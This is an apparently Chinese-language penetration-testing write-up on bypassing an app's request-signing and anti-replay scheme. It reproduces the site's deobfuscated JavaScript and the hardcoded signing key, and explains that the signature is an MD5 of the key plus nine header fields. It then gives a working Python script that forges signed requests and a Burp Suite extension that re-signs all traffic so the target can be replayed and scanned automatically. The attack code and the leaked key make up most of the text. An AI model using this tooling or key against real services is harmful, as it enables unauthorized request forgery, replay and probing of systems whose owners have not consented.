介绍
目标做了签名验签,所以所有抓包到的请求都无法在二次利用

JS代码定位
经过一顿JS搜索定位,最终找到了签名构造相关的JS
8966: function(e, a, t) {
"use strict";
(function(e) {
t("6a54");
var n = t("f5bd").default;
Object.defineProperty(a, "__esModule", {
value: !0
}),
a.default = void 0,
t("aa9c");
var i = n(t("2634"))
, r = n(t("2fdc"))
, o = n(t("80b1"))
, s = n(t("efe5"))
, c = n(t("6a67"))
, u = n(t("44dd"))
, g = n(t("7bc2"))
, p = function() {
function a() {
(0,
o.default)(this, a)
}
return (0,
s.default)(a, [{
key: "create",
value: function() {
var a = (0,
r.default)((0,
i.default)().mark((function a() {
var t, n, r, o, s, p;
return (0,
i.default)().wrap((function(a) {
while (1)
switch (a.prev = a.next) {
case 0:
return a.prev = 0,
t = u.default.putoken,
a.next = 4,
g.default.getAppStore();
case 4:
for (s in n = a.sent,
r = {},
r["token"] = null != n.$store.state.user ? n.$store.state.user.token : "",
r["deviceId"] = n.$store.state.uuid,
r["deviceType"] = "ios" == n.$device.platform ? 2 : 1,
r["fromApp"] = "h5",
r["mobileType"] = n.$device.model + "(" + n.$device.system + ")",
r["version"] = u.default.version,
r["appCode"] = u.default.app_code,
r["noction"] = g.default.uuidv4(),
r["timestamp"] = Date.parse(new Date),
o = [],
r)
o.push(s + "=" + r[s]);
for (s in p = (0,
c.default)(t + o.join(",")),
r["sign"] = p,
r)
this.setHeader(s, r[s]);
a.next = 25;
break;
case 22:
a.prev = 22,
a.t0 = a["catch"](0),
e.log(a.t0);
case 25:
case "end":
return a.stop()
}
}
), a, this, [[0, 22]])
}
)));
return function() {
return a.apply(this, arguments)
}
}()
}]),
a
}()
, l = p;
a.default = l
}
).call(this, t("ba7c")["default"])
},
然后根据 c.default)(t + o.join(",")),和 c = n(t("6a67")) 找到签名加密主体代码
"6a67": function(e, a, t) {
"use strict";
function n(e, a) {
return e << a | e >>> 32 - a
}
function i(e, a) {
var t, n, i, r, o;
return i = 2147483648 & e,
r = 2147483648 & a,
t = 1073741824 & e,
n = 1073741824 & a,
o = (1073741823 & e) + (1073741823 & a),
t & n ? 2147483648 ^ o ^ i ^ r : t | n ? 1073741824 & o ? 3221225472 ^ o ^ i ^ r : 1073741824 ^ o ^ i ^ r : o ^ i ^ r
}
function r(e, a, t, r, o, s, c) {
return e = i(e, i(i(function(e, a, t) {
return e & a | ~e & t
}(a, t, r), o), c)),
i(n(e, s), a)
}
function o(e, a, t, r, o, s, c) {
return e = i(e, i(i(function(e, a, t) {
return e & t | a & ~t
}(a, t, r), o), c)),
i(n(e, s), a)
}
function s(e, a, t, r, o, s, c) {
return e = i(e, i(i(function(e, a, t) {
return e ^ a ^ t
}(a, t, r), o), c)),
i(n(e, s), a)
}
function c(e, a, t, r, o, s, c) {
return e = i(e, i(i(function(e, a, t) {
return a ^ (e | ~t)
}(a, t, r), o), c)),
i(n(e, s), a)
}
function u(e) {
var a, t, n = "", i = "";
for (t = 0; t <= 3; t++)
a = e >>> 8 * t & 255,
i = "0" + a.toString(16),
n += i.substr(i.length - 2, 2);
return n
}
t("6a54"),
Object.defineProperty(a, "__esModule", {
value: !0
}),
a.default = void 0,
t("c9b5"),
t("bf0f"),
t("ab80");
var g = function(e) {
var a, t, n, g, p, l, d, f, m, h = Array();
for (e = function(e) {
for (var a = "", t = 0; t < e.length; t++) {
var n = e.charCodeAt(t);
n < 128 ? a += String.fromCharCode(n) : n > 127 && n < 2048 ? (a += String.fromCharCode(n >> 6 | 192),
a += String.fromCharCode(63 & n | 128)) : (a += String.fromCharCode(n >> 12 | 224),
a += String.fromCharCode(n >> 6 & 63 | 128),
a += String.fromCharCode(63 & n | 128))
}
return a
}(e),
h = function(e) {
var a, t = e.length, n = t + 8, i = (n - n % 64) / 64, r = 16 * (i + 1), o = Array(r - 1), s = 0, c = 0;
while (c < t)
a = (c - c % 4) / 4,
s = c % 4 * 8,
o[a] = o[a] | e.charCodeAt(c) << s,
c++;
return a = (c - c % 4) / 4,
s = c % 4 * 8,
o[a] = o[a] | 128 << s,
o[r - 2] = t << 3,
o[r - 1] = t >>> 29,
o
}(e),
l = 1732584193,
d = 4023233417,
f = 2562383102,
m = 271733878,
a = 0; a < h.length; a += 16)
t = l,
n = d,
g = f,
p = m,
l = r(l, d, f, m, h[a + 0], 7, 3614090360),
m = r(m, l, d, f, h[a + 1], 12, 3905402710),
f = r(f, m, l, d, h[a + 2], 17, 606105819),
d = r(d, f, m, l, h[a + 3], 22, 3250441966),
l = r(l, d, f, m, h[a + 4], 7, 4118548399),
m = r(m, l, d, f, h[a + 5], 12, 1200080426),
f = r(f, m, l, d, h[a + 6], 17, 2821735955),
d = r(d, f, m, l, h[a + 7], 22, 4249261313),
l = r(l, d, f, m, h[a + 8], 7, 1770035416),
m = r(m, l, d, f, h[a + 9], 12, 2336552879),
f = r(f, m, l, d, h[a + 10], 17, 4294925233),
d = r(d, f, m, l, h[a + 11], 22, 2304563134),
l = r(l, d, f, m, h[a + 12], 7, 1804603682),
m = r(m, l, d, f, h[a + 13], 12, 4254626195),
f = r(f, m, l, d, h[a + 14], 17, 2792965006),
d = r(d, f, m, l, h[a + 15], 22, 1236535329),
l = o(l, d, f, m, h[a + 1], 5, 4129170786),
m = o(m, l, d, f, h[a + 6], 9, 3225465664),
f = o(f, m, l, d, h[a + 11], 14, 643717713),
d = o(d, f, m, l, h[a + 0], 20, 3921069994),
l = o(l, d, f, m, h[a + 5], 5, 3593408605),
m = o(m, l, d, f, h[a + 10], 9, 38016083),
f = o(f, m, l, d, h[a + 15], 14, 3634488961),
d = o(d, f, m, l, h[a + 4], 20, 3889429448),
l = o(l, d, f, m, h[a + 9], 5, 568446438),
m = o(m, l, d, f, h[a + 14], 9, 3275163606),
f = o(f, m, l, d, h[a + 3], 14, 4107603335),
d = o(d, f, m, l, h[a + 8], 20, 1163531501),
l = o(l, d, f, m, h[a + 13], 5, 2850285829),
m = o(m, l, d, f, h[a + 2], 9, 4243563512),
f = o(f, m, l, d, h[a + 7], 14, 1735328473),
d = o(d, f, m, l, h[a + 12], 20, 2368359562),
l = s(l, d, f, m, h[a + 5], 4, 4294588738),
m = s(m, l, d, f, h[a + 8], 11, 2272392833),
f = s(f, m, l, d, h[a + 11], 16, 1839030562),
d = s(d, f, m, l, h[a + 14], 23, 4259657740),
l = s(l, d, f, m, h[a + 1], 4, 2763975236),
m = s(m, l, d, f, h[a + 4], 11, 1272893353),
f = s(f, m, l, d, h[a + 7], 16, 4139469664),
d = s(d, f, m, l, h[a + 10], 23, 3200236656),
l = s(l, d, f, m, h[a + 13], 4, 681279174),
m = s(m, l, d, f, h[a + 0], 11, 3936430074),
f = s(f, m, l, d, h[a + 3], 16, 3572445317),
d = s(d, f, m, l, h[a + 6], 23, 76029189),
l = s(l, d, f, m, h[a + 9], 4, 3654602809),
m = s(m, l, d, f, h[a + 12], 11, 3873151461),
f = s(f, m, l, d, h[a + 15], 16, 530742520),
d = s(d, f, m, l, h[a + 2], 23, 3299628645),
l = c(l, d, f, m, h[a + 0], 6, 4096336452),
m = c(m, l, d, f, h[a + 7], 10, 1126891415),
f = c(f, m, l, d, h[a + 14], 15, 2878612391),
d = c(d, f, m, l, h[a + 5], 21, 4237533241),
l = c(l, d, f, m, h[a + 12], 6, 1700485571),
m = c(m, l, d, f, h[a + 3], 10, 2399980690),
f = c(f, m, l, d, h[a + 10], 15, 4293915773),
d = c(d, f, m, l, h[a + 1], 21, 2240044497),
l = c(l, d, f, m, h[a + 8], 6, 1873313359),
m = c(m, l, d, f, h[a + 15], 10, 4264355552),
f = c(f, m, l, d, h[a + 6], 15, 2734768916),
d = c(d, f, m, l, h[a + 13], 21, 1309151649),
l = c(l, d, f, m, h[a + 4], 6, 4149444226),
m = c(m, l, d, f, h[a + 11], 10, 3174756917),
f = c(f, m, l, d, h[a + 2], 15, 718787259),
d = c(d, f, m, l, h[a + 9], 21, 3951481745),
l = i(l, t),
d = i(d, n),
f = i(f, g),
m = i(m, p);
var y = u(l) + u(d) + u(f) + u(m);
return y.toLowerCase()
};
a.default = g
},
在搜索到加密key putoken: "u$ii#uH!uF7LJkz&a4fcE50AdzHIbBAH",
至此签名构造全部理清,得到最终结论
1. 参与签名的参数(固定 9 个)
plaintext
token
deviceId
deviceType
fromApp
mobileType
version
appCode
noction
timestamp
2. 拼接格式
u$ii#uH!uF7LJkz&a4fcE50AdzHIbBAHtoken=xxx,deviceId=xxx,deviceType=xxx,...
前面直接拼接密钥,没有任何分隔符!
3. 加密
对拼接后的字符串做 MD5 加密,得到 32 位小写签名
编写Python测试
import hashlib
import uuid
import time
import requests
# ===================== 固定密钥 =====================
PUTOKEN = "u$ii#uH!uF7LJkz&a4fcE50AdzHIbBAH"
# ===================== 生成签名函数 =====================
def create_sign(params):
"""
生成官方一致的 sign
:param params: 参数字典
:return: sign 签名
"""
# 拼接成 key=value 用逗号分隔
param_str = ",".join([f"{k}={v}" for k, v in params.items()])
# 前面拼接固定密钥
sign_src = PUTOKEN + param_str
# MD5 加密(32位小写)
sign = hashlib.md5(sign_src.encode()).hexdigest()
return sign_src, sign
def get_headers(token=""):
"""生成完整的请求头(带签名)"""
params = {
"token": token,
"deviceId": str(uuid.uuid4()), # 随机设备ID
"deviceType": "1", # 2=ios 1=安卓
"fromApp": "h5",
"mobileType": "iPhone(iOS 16.0)",
"version": "3.8.9", # 版本号自己抓包
"appCode": "1", # 抓包获取
"noction": str(uuid.uuid4()), # 每次随机UUID
"timestamp": str(int(time.time() * 1000)) # 13位时间戳
}
# 生成签名
_, sign = create_sign(params)
params["sign"] = sign
# 组装请求头
return params
headers = get_headers(token="YjNlN2RlM2MwODA5ZjJkMThmMWZkZjVjOTkxODFkYjE=")
url = 'https://xxx.xxx.com/api/index/merchants'
login_data = 'page=1'
# 发送请求
response = requests.post(url, headers=headers, data=login_data)
print(response.text)
执行成功得到复用
编写Burp Suite 全自动防重放穿透(全扩展插件 / 全模块生效)
# -*- coding: utf-8 -*-
from burp import IBurpExtender, IHttpListener
import hashlib
import uuid
import time
import threading
# ===================== 固定配置 =====================
PUTOKEN = "u$ii#uH!uF7LJkz&a4fcE50AdzHIbBAH"
TARGET_HOST = "xxx.xxx.com"
# ====================================================
class BurpExtender(IBurpExtender, IHttpListener):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("APP AutoSign")
callbacks.registerHttpListener(self)
print("=" * 60)
print("[+] 自动签名插件加载成功 ✅")
print("[+] 目标域名: %s" % TARGET_HOST)
print("[+] 全模块支持: Repeater / Intruder / Scanner")
print("=" * 60)
self.lock = threading.Lock()
# --------------------- 核心加密算法 1:1 还原 ---------------------
def create_sign(self, params):
keys = ["token", "deviceId", "deviceType", "fromApp", "mobileType", "version", "appCode", "noction", "timestamp"]
items = []
for k in keys:
items.append(k + "=" + params[k])
param_str = ",".join(items)
sign_src = PUTOKEN + param_str
m = hashlib.md5()
m.update(sign_src.encode('utf-8'))
return m.hexdigest()
# --------------------- 生成标准请求头 ---------------------
def build_auth_headers(self, old_token=""):
params = {}
params["token"] = old_token
params["deviceId"] = str(uuid.uuid4()).lower()
params["deviceType"] = "1"
params["fromApp"] = "h5"
params["mobileType"] = "iPhone (iOS 16.5)"
params["version"] = "3.8.9"
params["appCode"] = "1"
params["noction"] = str(uuid.uuid4()).lower()
params["timestamp"] = str(int(time.time() * 1000))
params["sign"] = self.create_sign(params)
return params
# --------------------- 全局请求拦截 ---------------------
def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
if not messageIsRequest:
return
host = messageInfo.getHttpService().getHost()
if TARGET_HOST not in host:
return
with self.lock:
request = messageInfo.getRequest()
requestInfo = self._helpers.analyzeRequest(request)
headers = requestInfo.getHeaders()
body = request[requestInfo.getBodyOffset():]
old_token = ""
clean_headers = []
remove_keys = ["token","deviceId","deviceType","fromApp","mobileType","version","appCode","noction","timestamp","sign"]
# 清理旧签名头
for h in headers:
h_low = h.lower()
if h_low.startswith("token:"):
old_token = h.split(":",1)[1].strip()
skip = False
for key in remove_keys:
if h_low.startswith(key.lower() + ":"):
skip = True
break
if not skip:
clean_headers.append(h)
# 生成全新合法签名头
new_auth = self.build_auth_headers(old_token)
for k, v in new_auth.items():
clean_headers.append(k + ": " + v)
# 重新发包
new_req = self._helpers.buildHttpMessage(clean_headers, body)
messageInfo.setRequest(new_req)
然后burp添加脚本插件,成功实现burp重放数据以及各类插件漏洞探测
